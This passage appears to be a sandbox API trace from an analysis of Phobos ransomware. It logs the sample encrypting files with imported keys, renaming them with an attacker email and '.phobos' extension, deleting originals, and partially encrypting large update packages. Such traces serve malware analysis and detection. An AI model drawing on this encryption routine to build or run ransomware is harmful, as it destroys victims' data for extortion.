(hObject=0x32c) returned 1 [0049.895] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 1 [0050.499] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0050.499] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0050.499] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=295248) returned 1 [0050.499] CloseHandle (hObject=0x31c) returned 1 [0050.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 0x80 [0050.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0050.499] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0050.499] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0050.500] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0050.500] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0050.523] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc690) returned 1 [0050.523] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0050.523] ReadFile (in: hFile=0x31c, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x48150, lpOverlapped=0x0) returned 1 [0050.788] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x48160, dwBufLen=0x48160 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x48160) returned 1 [0050.788] WriteFile (in: hFile=0x32c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x48160, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x48160, lpOverlapped=0x0) returned 1 [0050.793] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc6d0) returned 1 [0050.793] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0050.793] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x40) returned 1 [0050.793] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0050.793] WriteFile (in: hFile=0x32c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0050.793] CryptDestroyKey (hKey=0x10dc690) returned 1 [0050.793] CloseHandle (hObject=0x31c) returned 1 [0050.793] CloseHandle (hObject=0x32c) returned 1 [0050.798] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 1 [0050.801] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0050.801] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0050.801] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=96088) returned 1 [0050.801] CloseHandle (hObject=0x32c) returned 1 [0050.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 0x80 [0050.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUtility.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0050.802] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0050.802] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0050.802] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0050.802] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUtility.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0050.802] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc590) returned 1 [0050.802] CryptSetKeyParam (hKey=0x10dc590, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0050.802] ReadFile (in: hFile=0x32c, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x17758, lpOverlapped=0x0) returned 1 [0050.820] CryptEncrypt (in: hKey=0x10dc590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x17760, dwBufLen=0x17760 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x17760) returned 1 [0050.820] WriteFile (in: hFile=0x31c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x17760, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x17760, lpOverlapped=0x0) returned 1 [0050.822] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc690) returned 1 [0050.822] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0050.822] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50) returned 1 [0050.822] CryptDestroyKey (hKey=0x10dc690) returned 1 [0050.822] WriteFile (in: hFile=0x31c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x102, lpOverlapped=0x0) returned 1 [0050.822] CryptDestroyKey (hKey=0x10dc590) returned 1 [0050.822] CloseHandle (hObject=0x32c) returned 1 [0050.822] CloseHandle (hObject=0x31c) returned 1 [0050.824] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 1 [0050.826] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0050.826] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0050.826] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=144416) returned 1 [0050.826] CloseHandle (hObject=0x31c) returned 1 [0050.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 0x80 [0050.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\sqmapi.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0050.826] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0050.826] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0050.826] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0050.827] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\sqmapi.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0050.827] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc8d0) returned 1 [0050.827] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0050.827] ReadFile (in: hFile=0x31c, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x23420, lpOverlapped=0x0) returned 1 [0051.028] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x23430, dwBufLen=0x23430 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x23430) returned 1 [0051.028] WriteFile (in: hFile=0x32c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x23430, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x23430, lpOverlapped=0x0) returned 1 [0051.031] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dcb90) returned 1 [0051.031] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0051.031] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x40) returned 1 [0051.031] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0051.031] WriteFile (in: hFile=0x32c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0051.031] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0051.031] CloseHandle (hObject=0x31c) returned 1 [0051.031] CloseHandle (hObject=0x32c) returned 1 [0051.034] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 1 [0051.035] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0051.035] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0051.036] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=5198099) returned 1 [0051.036] CloseHandle (hObject=0x32c) returned 1 [0051.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu")) returned 0x80 [0051.036] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 1 [0051.037] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0051.037] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6a8 | out: lpNewFilePointer=0x0) returned 1 [0051.037] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6a8 | out: lpNewFilePointer=0x0) returned 1 [0051.037] ReadFile (in: hFile=0x32c, lpBuffer=0x38f8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x352f6b4, lpOverlapped=0x0 | out: lpBuffer=0x38f8058*, lpNumberOfBytesRead=0x352f6b4*=0x40000, lpOverlapped=0x0) returned 1 [0051.236] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x352f6a8 | out: lpNewFilePointer=0x0) returned 1 [0051.236] ReadFile (in: hFile=0x32c, lpBuffer=0x3938058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x352f6b4, lpOverlapped=0x0 | out: lpBuffer=0x3938058*, lpNumberOfBytesRead=0x352f6b4*=0x40000, lpOverlapped=0x0) returned 1 [0051.451] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x352f6a8 | out: lpNewFilePointer=0x0) returned 1 [0051.451] ReadFile (in: hFile=0x32c, lpBuffer=0x3978058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x352f6b4, lpOverlapped=0x0 | out: lpBuffer=0x3978058*, lpNumberOfBytesRead=0x352f6b4*=0x40000, lpOverlapped=0x0) returned 1 [0051.477] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f698, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f704 | out: phKey=0x352f704*=0x10dc690) returned 1 [0051.477] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0051.477] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b8*=0xc0080, dwBufLen=0xc0080 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b8*=0xc0080) returned 1 [0051.478] CryptDestroyKey (hKey=0x10dc690) returned 1 [0051.478] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6e0 | out: lpNewFilePointer=0x0) returned 1 [0051.478] WriteFile (in: hFile=0x32c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xc0132, lpNumberOfBytesWritten=0x352f6f0, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f0*=0xc0132, lpOverlapped=0x0) returned 1 [0051.644] SetEndOfFile (hFile=0x32c) returned 1 [0051.644] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x352f6b0 | out: lpNewFilePointer=0x0) returned 1 [0051.644] WriteFile (in: hFile=0x32c, lpBuffer=0x39b816a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x352f6bc, lpOverlapped=0x0 | out: lpBuffer=0x39b816a*, lpNumberOfBytesWritten=0x352f6bc*=0x40000, lpOverlapped=0x0) returned 1 [0051.646] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x352f6b0 | out: lpNewFilePointer=0x0) returned 1 [0051.646] WriteFile (in: hFile=0x32c, lpBuffer=0x39b816a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x352f6bc, lpOverlapped=0x0 | out: lpBuffer=0x39b816a*, lpNumberOfBytesWritten=0x352f6bc*=0x40000, lpOverlapped=0x0) returned 1 [0051.648] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6b0 | out: lpNewFilePointer=0x0) returned 1 [0051.648] WriteFile (in: hFile=0x32c, lpBuffer=0x39b816a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x352f6bc, lpOverlapped=0x0 | out: lpBuffer=0x39b816a*, lpNumberOfBytesWritten=0x352f6bc*=0x40000, lpOverlapped=0x0) returned 1 [0051.649] CloseHandle (hObject=0x32c) returned 1 [0053.423] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0053.423] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0053.423] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=2192672) returned 1 [0053.423] CloseHandle (hObject=0x32c) returned 1 [0053.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu")) returned 0x80 [0053.423] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 1 [0053.424] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0053.424] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6a8 | out: lpNewFilePointer=0x0) returned 1 [0053.424] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6a8 | out: lpNewFilePointer=0x0) returned 1 [0053.424] ReadFile (in: hFile=0x32c, lpBuffer=0x38f8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x352f6b4, lpOverlapped=0x0 | out: lpBuffer=0x38f8058*, lpNumberOfBytesRead=0x352f6b4*=0x40000, lpOverlapped=0x0) returned 1 [0053.564] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x352f6a8 | out: lpNewFilePointer=0x0) returned 1 [0053.564] ReadFile (in: hFile=0x32c, lpBuffer=0x3938058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x352f6b4, lpOverlapped=0x0 | out: lpBuffer=0x3938058*, lpNumberOfBytesRead=0x352f6b4*=0x40000, lpOverlapped=0x0) returned 1 [0053.598] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x352f6a8 | out: lpNewFilePointer=0x0) returned 1 [0053.598] ReadFile (in: hFile=0x32c, lpBuffer=0x3978058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x352f6b4, lpOverlapped=0x0 | out: lpBuffer=0x3978058*, lpNumberOfBytesRead=0x352f6b4*=0x40000, lpOverlapped=0x0) returned 1 [0053.641] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f698, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f704 | out: phKey=0x352f704*=0x10dca10) returned 1 [0053.641] CryptSetKeyParam (hKey=0x10dca10, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0053.641] CryptEncrypt (in: hKey=0x10dca10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b8*=0xc0080, dwBufLen=0xc0080 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b8*=0xc0080) returned 1 [0053.642] CryptDestroyKey (hKey=0x10dca10) returned 1 [0053.642] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6e0 | out: lpNewFilePointer=0x0) returned 1 [0053.643] WriteFile (in: hFile=0x32c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xc0132, lpNumberOfBytesWritten=0x352f6f0, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f0*=0xc0132, lpOverlapped=0x0) returned 1 [0053.653] SetEndOfFile (hFile=0x32c) returned 1 [0053.653] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x352f6b0 | out: lpNewFilePointer=0x0) returned 1 [0053.653] WriteFile (in: hFile=0x32c, lpBuffer=0x39b816a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x352f6bc, lpOverlapped=0x0 | out: lpBuffer=0x39b816a*, lpNumberOfBytesWritten=0x352f6bc*=0x40000, lpOverlapped=0x0) returned 1 [0053.655] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x352f6b0 | out: lpNewFilePointer=0x0) returned 1 [0053.655] WriteFile (in: hFile=0x32c, lpBuffer=0x39b816a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x352f6bc, lpOverlapped=0x0 | out: lpBuffer=0x39b816a*, lpNumberOfBytesWritten=0x352f6bc*=0x40000, lpOverlapped=0x0) returned 1 [0053.656] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6b0 | out: lpNewFilePointer=0x0) returned 1 [0053.657] WriteFile (in: hFile=0x32c, lpBuffer=0x39b816a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x352f6bc, lpOverlapped=0x0 | out: lpBuffer=0x39b816a*, lpNumberOfBytesWritten=0x352f6bc*=0x40000, lpOverlapped=0x0) returned 1 [0053.658] CloseHandle (hObject=0x32c) returned 1 [0054.283] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0054.283] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0054.283] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=5091790) returned 1 [0054.283] CloseHandle (hObject=0x32c) returned 1 [0054.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu")) returned 0x80 [0054.283] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 1 [0054.283] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0054.284] SetFilePointerEx (in: hFile=0x32c, 